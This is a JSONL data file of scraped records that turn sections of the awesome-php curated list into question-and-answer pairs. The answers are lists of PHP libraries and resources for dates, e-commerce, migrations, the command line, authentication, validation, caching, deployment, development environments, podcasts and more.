{"id": "gh_34b8dc799a4e", "question": "How to: Date and Time", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for working with dates and times.*\n\n* [CalendR](https://github.com/yohang/CalendR) - A calendar management library.\n* [Carbon](https://github.com/briannesbitt/Carbon) - A simple DateTime API extension.\n* [Chronos](https://github.com/cakephp/chronos) - A DateTime API extension supporting both mutable and immutable date/time.\n* [Moment.php](https://github.com/fightbulc/moment.php) - Moment.js inspired PHP DateTime handler with i18n support.\n* [Yasumi](https://github.com/azuyalabs/yasumi) - A library to help you calculate the dates and names of holidays.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920146"}
{"id": "gh_60cc15d5bb4b", "question": "How to: E-commerce", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and applications for taking payments and building online e-commerce stores.*\n\n* [Money](https://github.com/moneyphp/money) - A PHP implementation of Fowler's money pattern.\n* [Brick Money](https://github.com/brick/money) - A money library for PHP, with support for contexts, cash roundings, currency conversion.\n* [OmniPay](https://github.com/thephpleague/omnipay) - A framework agnostic multi-gateway payment processing library.\n* [Payum](https://github.com/payum/payum) - A payment abstraction library.\n* [Shopsys Framework](https://github.com/shopsys/shopsys/) - An open source e-commerce platform for in-house development teams.\n* [Shopware](https://github.com/shopware/shopware) - Highly customizable e-commerce software\n* [Swap](https://github.com/florianv/swap) - An exchange rates library.\n* [Sylius](https://sylius.com/) - An open source e-commerce solution.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920155"}
{"id": "gh_53254b679865", "question": "How to: Migrations", "question_body": "About ziadoz/awesome-php", "answer": "Libraries to help manage database schemas and migrations.\n\n* [Doctrine Migrations](https://www.doctrine-project.org/projects/migrations.html) - A migration library for Doctrine.\n* [Migrations](https://github.com/icomefromthenet/Migrations) - A migration management library.\n* [Phinx](https://github.com/cakephp/phinx) - Another database migration library.\n* [PHPMig](https://github.com/davedevelopment/phpmig) - Another migration management library.\n* [Ruckusing](https://github.com/ruckus/ruckusing-migrations) - Database migrations for PHP ala ActiveRecord Migrations with support for MySQL, Postgres, SQLite.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920164"}
{"id": "gh_89d55dc16b49", "question": "How to: Command Line", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries related to the command line.*\n\n* [Aura.Cli](https://github.com/auraphp/Aura.Cli) - Provides the equivalent of request ( Context ) and response ( Stdio ) objects for the command line interface, including Getopt support, and an independent Help object for describing commands.\n* [Cilex](https://github.com/Cilex/Cilex) - A micro framework for building command line tools.\n* [CLI Menu](https://github.com/php-school/cli-menu) - A library for building CLI menus.\n* [CLIFramework](https://github.com/c9s/CLIFramework) - A command-line framework supports zsh/bash completion generation, subcommands and option constraints. It also powers phpbrew.\n* [CLImate](https://github.com/thephpleague/climate) - A library for outputting colors and special formatting.\n* [Commando](https://github.com/nategood/commando) - Another simple command line opt parser.\n* [Cron Expression](https://github.com/mtdowling/cron-expression) - A library to calculate cron run dates.\n* [GetOpt](https://github.com/getopt-php/getopt-php) - A command line opt parser.\n* [GetOptionKit](https://github.com/c9s/GetOptionKit) - Another command line opt parser.\n* [PsySH](https://github.com/bobthecow/psysh) - Another PHP REPL.\n* [ShellWrap](https://github.com/MrRio/shellwrap) - A simple command line wrapper library.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920174"}
{"id": "gh_d013ee3fa9ea", "question": "How to: Authentication and Authorization", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for implementing user authentication and authorization.*\n\n* [Aura.Auth](https://github.com/auraphp/Aura.Auth) - Provides authentication functionality and session tracking using various adapters.\n* [SocialConnect Auth](https://github.com/socialConnect/auth) - An open source social sign (OAuth1\\OAuth2\\OpenID\\OpenIDConnect).\n* [Json Web Token](https://github.com/lcobucci/jwt) - Json Tokens to authenticate and transmit information.\n* [OAuth 1.0 Client](https://github.com/thephpleague/oauth1-client) - An OAuth 1.0 client library.\n* [OAuth 2.0 Client](https://github.com/thephpleague/oauth2-client) - An OAuth 2.0 client library.\n* [OAuth2 Server](https://bshaffer.github.io/oauth2-server-php-docs/) - Another OAuth2 server implementation.\n* [OAuth2 Server](https://oauth2.thephpleague.com/) - An OAuth2 authentication server, resource server and client library.\n* [Opauth](https://github.com/opauth/opauth) - A multi-provider authentication framework.\n* [Paseto](https://github.com/paragonie/paseto) - Platform-Agnostic Security Tokens.\n* [PHP oAuthLib](https://github.com/daviddesberg/PHPoAuthLib) - Another OAuth library.\n* [Sentinel Social](https://cartalyst.com/manual/sentinel-social/2.0) - A library for social network authentication.\n* [Sentinel](https://cartalyst.com/manual/sentinel/2.0) - A framework agnostic authentication & authorisation library.\n* [TwitterOAuth](https://github.com/abraham/twitteroauth) - A Twitter OAuth library.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920182"}
{"id": "gh_6c62722fba62", "question": "How to: Markup and CSS", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for working with markup and CSS formats.*\n\n* [Cebe Markdown](https://github.com/cebe/markdown) - A fast and extensible Markdown parser.\n* [CommonMark PHP](https://github.com/thephpleague/commonmark) - Highly-extensible Markdown parser which fully supports the [CommonMark spec](https://spec.commonmark.org/).\n* [Decoda](https://github.com/milesj/decoda) - A lightweight markup parser library.\n* [Djot](https://github.com/php-collective/djot-php) - A PHP parser for [Djot](https://djot.net/), a modern light markup language (successor of Markdown).\n* [Essence](https://github.com/essence/essence) - A library for extracting web media.\n* [Embera](https://github.com/mpratt/Embera) - An Oembed consumer library.\n* [HTML to Markdown](https://github.com/thephpleague/html-to-markdown) - Converts HTML into Markdown.\n* [HTML5 PHP](https://github.com/Masterminds/html5-php) - An HTML5 parser and serializer library.\n* [Parsedown](https://github.com/erusev/parsedown) - Another Markdown parser.\n* [PHP CSS Parser](https://github.com/MyIntervals/PHP-CSS-Parser) - A Parser for CSS Files written in PHP.\n* [PHP Markdown](https://github.com/michelf/php-markdown) - A Markdown parser.\n* [Shiki PHP](https://github.com/spatie/shiki-php) - A [Shiki](https://github.com/shikijs/shiki) code highlighting package in PHP.\n* [VObject](https://github.com/sabre-io/vobject) - A library for parsing VCard and iCalendar objects.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920190"}
{"id": "gh_4be415e5369f", "question": "How to: Filtering, Sanitizing and Validation", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for filtering, sanitizing and validating data.*\n\n* [Assert](https://github.com/beberlei/assert) - A validation library with a rich set of assertions. Supports assertion chaining and lazy assertions.\n* [Aura.Filter](https://github.com/auraphp/Aura.Filter) - Provides tools to validate and sanitize objects and arrays.\n* [CakePHP Validation](https://github.com/cakephp/validation) - Another validation library.\n* [Filterus](https://github.com/ircmaxell/filterus) - A simple PHP filtering library.\n* [HTML Purifier](https://github.com/ezyang/htmlpurifier) - A standards compliant HTML filter.\n* [ISO-codes](https://github.com/ronanguilloux/IsoCodes) - A library for validating inputs according to standards from ISO, International Finance, Public Administrations, GS1, Book Industry, Phone numbers & Zipcodes for many countries.\n* [JSON Schema](https://github.com/jsonrainbow/json-schema) - A [JSON Schema](https://json-schema.org/) validation library.\n* [MetaYaml](https://github.com/romaricdrigon/MetaYaml) - A schema validation library that supports YAML, JSON and XML.\n* [Respect Validation](https://github.com/Respect/Validation) - A simple validation library.\n* [Symfony HTML Sanitizer](https://github.com/symfony/html-sanitizer) - An HTML sanitizer library.\n* [Upload](https://github.com/brandonsavage/Upload) - A library for handling file uploads and validation.\n* [Valitron](https://github.com/vlucas/valitron) - Another validation library.\n* [Valinor](https://github.com/CuyZ/Valinor) - A library for mapping to strongly typed value objects.\n* [Volan](https://github.com/serkin/Volan) - Another simplified validation library.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920201"}
{"id": "gh_7db93928b8e2", "question": "How to: Caching and Locking", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for caching data and acquiring locks.*\n\n* [APIx Cache](https://github.com/apix/cache) - A thin PSR-6 cache wrapper to various caching backends emphasizing cache tagging and indexing.\n* [CacheTool](https://github.com/gordalina/cachetool) - A tool to clear APC/opcode caches from the command line.\n* [CakePHP Cache](https://github.com/cakephp/cache) - A caching library.\n* [Doctrine Cache](https://github.com/doctrine/cache) - A caching library.\n* [Metaphore](https://github.com/sobstel/metaphore) - Cache slam defense using a semaphore to prevent dogpile effect.\n* [Stash](https://github.com/tedious/Stash) - Another library for caching.\n* [Laminas Cache](https://github.com/laminas/laminas-cache) - Another caching library.\n* [Lock](https://github.com/php-lock/lock) - A lock library to provide exclusive execution.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920209"}
{"id": "gh_f775638ba529", "question": "How to: Data Structure and Storage", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries that implement data structure or storage techniques.*\n\n* [CakePHP Collection](https://github.com/cakephp/collection) - A simple collections library.\n* [Fractal](https://github.com/thephpleague/fractal) - A library for converting complex data structures to JSON output.\n* [Ginq](https://github.com/akanehara/ginq) - Another PHP library based on .NET's LINQ.\n* [JsonMapper](https://github.com/cweiske/jsonmapper) - A library that maps nested JSON structures onto PHP classes.\n* [JSON Machine](https://github.com/halaxa/json-machine) - Provides iteration over huge JSONs using simple `foreach`\n* [Knapsack](https://github.com/DusanKasan/Knapsack) - Collection library inspired by Clojure's sequences.\n* [msgpack.php](https://github.com/rybakit/msgpack.php) - A pure PHP implementation of the [MessagePack](https://msgpack.org/) serialization format.\n* [PINQ](https://github.com/TimeToogo/Pinq) - A PHP library based on .NET's LINQ (Language Integrated Query).\n* [Serializer](https://github.com/schmittjoh/serializer) - A library for serializing and de-serializing data.\n* [YaLinqo](https://github.com/Athari/YaLinqo) - Yet Another LINQ to Objects for PHP.\n* [Laminas Serializer](https://github.com/laminas/laminas-serializer) - Another library for serialising and de-serialising data.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920217"}
{"id": "gh_df03cda4f905", "question": "How to: Notifications", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for working with notification software.*\n\n* [JoliNotif](https://github.com/jolicode/JoliNotif) - A cross-platform library for desktop notification (support for Growl, notify-send, toaster, etc)\n* [Notification Pusher](https://github.com/Ph3nol/NotificationPusher) - A standalone library for device push notifications.\n* [Notificato](https://github.com/mac-cain13/notificato) - A library for handling push notifications.\n* [Notificator](https://github.com/namshi/notificator) - A lightweight notification library.\n* [Php-pushwoosh](https://github.com/gomoob/php-pushwoosh) - A PHP Library to easily send push notifications with the Pushwoosh REST Web Services.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920223"}
{"id": "gh_2ca6113afb56", "question": "How to: Deployment", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for project deployment.*\n\n* [Deployer](https://github.com/deployphp/deployer) - A deployment tool.\n* [Envoy](https://github.com/laravel/envoy) - A tool to run SSH tasks with PHP.\n* [Rocketeer](https://github.com/rocketeers/rocketeer) - A fast and easy deployer for the PHP world.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920229"}
{"id": "gh_7dba8f6e511f", "question": "How to: Internationalisation and Localisation", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for Internationalization (I18n) and Localization (L10n).*\n\n* [Aura.Intl](https://github.com/auraphp/Aura.Intl) - Provides internationalization (I18N) tools, specifically package-oriented per-locale message translation.\n* [CakePHP I18n](https://github.com/cakephp/i18n) - Message translation and localization for dates and numbers.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920234"}
{"id": "gh_bdfadc29d54a", "question": "How to: Serverless", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and tools to help build serverless web applications.*\n\n* [Bref](https://bref.sh/) - Serverless PHP on AWS Lambda.\n* [OpenWhisk](https://openwhisk.apache.org/) - An open-source serverless cloud platform.\n* [Serverless Framework](https://www.serverless.com/framework) - An open-source framework for building serverless applications.\n* [Laravel Vapor](https://vapor.laravel.com/) - A serverless deployment platform for Laravel, powered by AWS.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920240"}
{"id": "gh_cfef19712de3", "question": "How to: Configuration", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries and tools for configuration.*\n\n* [PHP Dotenv](https://github.com/vlucas/phpdotenv) - Parse and load environment variables from `.env` files.\n* [Symfony Dotenv](https://github.com/symfony/dotenv)- Parse and load environment variables from `.env` files.\n* [Yo! Symfony TOML](https://github.com/yosymfony/toml) - A PHP parser for [TOML](https://github.com/toml-lang/toml).", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920246"}
{"id": "gh_7f2285082807", "question": "How to: Third Party APIs", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries for accessing third party APIs.*\n\n* [Amazon Web Service SDK](https://github.com/aws/aws-sdk-php) - The official PHP AWS SDK library.\n* [AsyncAWS](https://async-aws.com/) - An unofficial asynchronous PHP AWS SDK.\n* [Campaign Monitor](https://campaignmonitor.github.io/createsend-php/) - The official Campaign Monitor PHP library.\n* [Github](https://github.com/KnpLabs/php-github-api) - A library to interface with the Github API.\n* [Mailgun](https://github.com/mailgun/mailgun-php) The official Mailgun PHP API.\n* [Square](https://github.com/square/connect-php-sdk) - The official Square PHP SDK for payments and other Square APIs.\n* [Stripe](https://github.com/stripe/stripe-php) - The official Stripe PHP library.\n* [Twilio](https://github.com/twilio/twilio-php) - The official Twilio PHP REST API.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920253"}
{"id": "gh_3316fa9ff735", "question": "How to: Extensions", "question_body": "About ziadoz/awesome-php", "answer": "*Libraries to help build PHP extensions.*\n\n* [PHP CPP](https://www.php-cpp.com/) - A C++ library for developing PHP extensions.\n* [Zephir](https://github.com/zephir-lang/zephir ) - A compiled language between PHP and C++ for developing PHP extensions.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920259"}
{"id": "gh_9aedf0c89cf9", "question": "How to: Miscellaneous", "question_body": "About ziadoz/awesome-php", "answer": "*Useful libraries or utilities that don't fit into the categories above.*\n\n* [Annotations](https://github.com/doctrine/annotations) - An annotation library (part of Doctrine).\n* [BotMan](https://github.com/botman/botman) - A framework agnostic PHP library to build cross-platform chatbots.\n* [ClassPreloader](https://github.com/ClassPreloader/ClassPreloader) - A library for optimizing autoloading.\n* [Ganesha](https://github.com/ackintosh/ganesha) - A PHP implementation of Circuit Breaker pattern.\n* [Hprose-PHP](https://github.com/hprose/hprose-php) - A cross-language RPC.\n* [Laravel Serializable Closure](https://github.com/laravel/serializable-closure) - A library that allows Closures to be serialized.\n* [noCAPTCHA](https://github.com/ARCANEDEV/noCAPTCHA) - Helper for Google's noCAPTCHA (reCAPTCHA).\n* [Pagerfanta](https://github.com/whiteoctober/Pagerfanta) - A pagination library.\n* [Safe](https://github.com/thecodingmachine/safe) - All PHP functions, rewritten to throw exceptions instead of returning false.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920266"}
{"id": "gh_969fc17bf965", "question": "How to: PHP Installation", "question_body": "About ziadoz/awesome-php", "answer": "*Tools to help install and manage PHP on your computer.*\n\n* [Brew PHP Switcher](https://github.com/philcook/brew-php-switcher) - Brew PHP switcher.\n* [HomeBrew](https://brew.sh/) - A package manager for OSX.\n* [PHP Brew](https://github.com/phpbrew/phpbrew) - A PHP version manager and installer.\n* [PHP Build](https://github.com/php-build/php-build) - Another PHP version installer.\n* [Static PHP CLI](https://github.com/crazywhalecc/static-php-cli) - Build or [download](https://dl.static-php.dev/static-php-cli/) static versions of PHP CLI and FPM.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920273"}
{"id": "gh_d7576c0c5b19", "question": "How to: Development Environment", "question_body": "About ziadoz/awesome-php", "answer": "*Software and tools for creating and sharing a development environment.*\n\n* [Ansible](https://www.redhat.com/en/ansible-collaborative) - A radically simple orchestration framework.\n* [DDEV](https://github.com/ddev/ddev) - a local web development environment system for PHP.\n* [Docker](https://www.docker.com/) - A containerization platform.\n* [Docker PHP Extension Installer](https://github.com/mlocati/docker-php-extension-installer) - Easily install PHP extensions in Docker containers.\n* [Docksal](https://github.com/docksal/docksal) - Unified, Docker :whale: powered web development environments for macOS, Windows, and Linux.\n* [Expose](https://github.com/exposedev/expose) - An open-source PHP tunneling service.\n* [Lando](https://lando.dev/) - Push-button development environments.\n* [Laravel Homestead](https://laravel.com/docs/master/homestead) - A local development environment for Laravel.\n* [Laravel Herd](https://herd.laravel.com/windows) - A one click PHP development environment for macOS and Windows.\n* [Laradock](http://laradock.io/) - A full PHP development environment based on Docker.\n* [PHPMon](https://phpmon.app/) - A macOS menu bar app for managing PHP installations (works with [Laravel Valet](https://laravel.com/docs/master/valet)).\n* [Puppet](https://www.puppet.com) - A server automation framework and application.\n* [Takeout](https://github.com/tighten/takeout) - A Docker-based development-only dependency manager.\n* [Vagrant](https://www.vagrantup.com/) - A portable development environment utility.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920281"}
{"id": "gh_cdf2953d7047", "question": "How to: Virtual Machines", "question_body": "About ziadoz/awesome-php", "answer": "*Alternative PHP virtual machines.*\n\n* [Hack](https://hacklang.org/) - A programming language for HHVM.\n* [HHVM](https://github.com/facebook/hhvm) - A Virtual Machine, Runtime and JIT for PHP by Facebook.\n* [PeachPie](https://github.com/peachpiecompiler/peachpie) - PHP compiler and runtime for .NET and .NET Core.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920286"}
{"id": "gh_64b896d636de", "question": "How to: Text Editors and IDEs", "question_body": "About ziadoz/awesome-php", "answer": "*Text Editors and Integrated Development Environments (IDE) with support for PHP.*\n\n* [Eclipse for PHP Developers](https://www.eclipse.org/downloads/) - A PHP IDE based on the Eclipse platform.\n* [Apache NetBeans](https://netbeans.apache.org/front/main/index.html) - An IDE with support for PHP and HTML5.\n* [PhpEd](https://www.nusphere.com/products/phped.htm) - An IDE with professional commercial debugger.\n* [PhpStorm](https://www.jetbrains.com/phpstorm/) - A commercial PHP IDE.\n* [VS Code](https://code.visualstudio.com/) - An open source code editor.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920292"}
{"id": "gh_748f0136d608", "question": "How to: Web Applications", "question_body": "About ziadoz/awesome-php", "answer": "*Web-based applications and tools.*\n\n* [3V4L](https://3v4l.org/) - An online PHP & HHVM shell.\n* [Adminer](https://www.adminer.org/en/) - Database management in a single PHP file.\n* [Cachet](https://github.com/cachethq/cachet) - The open source status page system.\n* [DBV](https://github.com/victorstanciu/dbv) - A database version control application.\n* [Lychee](https://github.com/electerious/Lychee) - An easy to use and great looking photo-management-system.\n* [MailCatcher](https://github.com/sj26/mailcatcher) - A web tool for capturing and viewing emails.\n* [phpMyAdmin](https://github.com/phpmyadmin/phpmyadmin) - A web interface for MySQL/MariaDB.\n* [PHP Queue](https://github.com/CoderKungfu/php-queue) - An application for managing queueing backends.\n* [phpRedisAdmin](https://github.com/ErikDubbelboer/phpRedisAdmin) - A simple web interface to manage [Redis](https://redis.io/) databases.\n* [PHPSandbox](https://phpsandbox.io) - An online IDE for PHP in the browser.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920300"}
{"id": "gh_c48ce9b5c736", "question": "How to: Infrastructure", "question_body": "About ziadoz/awesome-php", "answer": "*Infrastructure for providing PHP applications and services.*\n\n* [appserver.io](https://github.com/appserver-io/appserver) - A multithreaded application server for PHP, written in PHP.\n* [php-pm](https://github.com/php-pm/php-pm) - A process manager, supercharger and load balancer for PHP applications.\n* [RoadRunner](https://github.com/roadrunner-server/roadrunner) - High-performance PHP application server, load-balancer and process manager.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920305"}
{"id": "gh_04acd7ab611f", "question": "How to: PHP Websites", "question_body": "About ziadoz/awesome-php", "answer": "*Useful PHP-related websites.*\n\n* [Nomad PHP](https://nomadphp.com/) - A online PHP learning resource.\n* [Laravel News](https://laravel-news.com/) - The official Laravel blog.\n* [PHP Annotated Monthly](https://blog.jetbrains.com/phpstorm/tag/php-annotated-monthly/) - A monthly digest of PHP news.\n* [PHP FIG](https://www.php-fig.org/) - The PHP Framework Interoperability Group.\n* [PHP Package Development Standards](http://php-pds.com) - Package development standards for PHP.\n* [PHP School](https://www.phpschool.io/) - Open Source Learning for PHP.\n* [PHP The Right Way](https://phptherightway.com/) - A PHP best practice quick reference guide.\n* [PHP UG](https://php.ug) - A website to help people locate their nearest PHP user group (UG).\n* [PHP Watch](https://php.watch/) - PHP articles, news, upcoming changes, RFCs and more.\n* [Unit Testing Tips](https://testing-tips.sarvendev.com/) - Unit Testing Tips by examples in PHP.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920313"}
{"id": "gh_0a3250096825", "question": "How to: PHP Videos", "question_body": "About ziadoz/awesome-php", "answer": "*Fantastic PHP-related videos.*\n\n* [Laracasts](https://laracasts.com) - Screencasts about Laravel, Vue JS and more.\n* [Laravel YouTube Channel](https://www.youtube.com/channel/UCfO2GiQwb-cwJTb1CuRSkwg) - The official Laravel YouTube channel.\n* [Program With Gio](https://www.youtube.com/playlist?list=PLr3d3QYzkw2xabQRUpcZ_IBk9W50M9pe-) - PHP 8 course by Gio.\n* [Programming with Anthony](https://www.youtube.com/playlist?list=PLM-218uGSX3DQ3KsB5NJnuOqPqc5CW2kW) - A video series by Anthony Ferrara.\n* [SymfonyCasts](https://symfonycasts.com/) - Screencasts and tutorials about PHP and Symfony.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920320"}
{"id": "gh_08b6820dfcf9", "question": "How to: PHP Conferences", "question_body": "About ziadoz/awesome-php", "answer": "*PHP conferences.*\n\n* [Laracon EU](https://www.youtube.com/@LaraconEU) - Laracon EU is a 2-day event for people who are interested in learning Laravel and related technologies, or who want to share their knowledge with others.\n* [PHP[TEK]](https://phptek.io/) - The longest-running web developer conference in the United States that has a focus on the PHP programming language.\n* [PHP UK Conference](https://www.youtube.com/user/phpukconference/videos) - A collection of videos from the PHP UK Conference.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920327"}
{"id": "gh_222f4c075e96", "question": "How to: PHP Podcasts", "question_body": "About ziadoz/awesome-php", "answer": "*Podcasts with a focus on PHP topics.*\n\n* [Laravel News Podcast](https://podcast.laravel-news.com/) - The Laravel News Podcast brings you all the latest news and events related to the Laravel PHP Framework.\n* [Mostly Technical](https://mostlytechnical.com/) - Hosted by Ian Landsman and Aaron Francis, Mostly Technical is a lively discussion on Laravel, business, and an eclectic mix of related topics.\n* [No Compromises](https://show.nocompromises.io/) - Two seasoned salty programming veterans talk best practices based on years of working with Laravel SaaS teams.\n* [North Meets South Web Podcast](https://www.northmeetssouth.audio/) - Jacob Bennett and Michael Dyrynda conquer a 14.5 hour time difference to talk about life as web developers.\n* [Over Engineered](https://overengineered.fm/) - A podcast in mini-series where we explore unimportant programming questions in extreme detail.\n* [PHP Internals News](https://phpinternals.news) - A podcast about PHP internals.\n* [PHP Town Hall](https://phptownhall.com/) - A casual PHP podcast by Ben Edmunds and Phil Sturgeon.\n* [php[podcast] episodes from php[architect]](https://www.phparch.com/podcast/) - The official podcast of php[architect] the industry's leading tech magazine and publisher focused on PHP and web development.\n* [PHPUgly](https://www.phpugly.com/) - The ramblings of a few overworked PHP Developers.\n* [The Laracasts Snippet](https://laracasts.simplecast.com) - The Laracasts snippet, each episode, offers a single thought on some aspect of web development.\n* [The Laravel Podcast](https://laravelpodcast.com/) - Laravel and PHP development news and discussion.\n* [The PHP Roundtable](https://phproundtable.com/) - The PHP Roundtable is a casual gathering of developers discussing topics that PHP nerds care about.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920335"}
{"id": "gh_5e84a58edfc2", "question": "How to: PHP Newsletters", "question_body": "About ziadoz/awesome-php", "answer": "*PHP-related news directly to your inbox.*\n\n* [PHP Weekly](https://www.phpweekly.com/) - A weekly newsletter about PHP.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920341"}
{"id": "gh_ee35db27e572", "question": "How to: PHP Reading", "question_body": "About ziadoz/awesome-php", "answer": "*PHP-related reading materials.*\n\n* [php[architect]](https://www.phparch.com/magazine/) - A monthly magazine dedicated to PHP.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920346"}
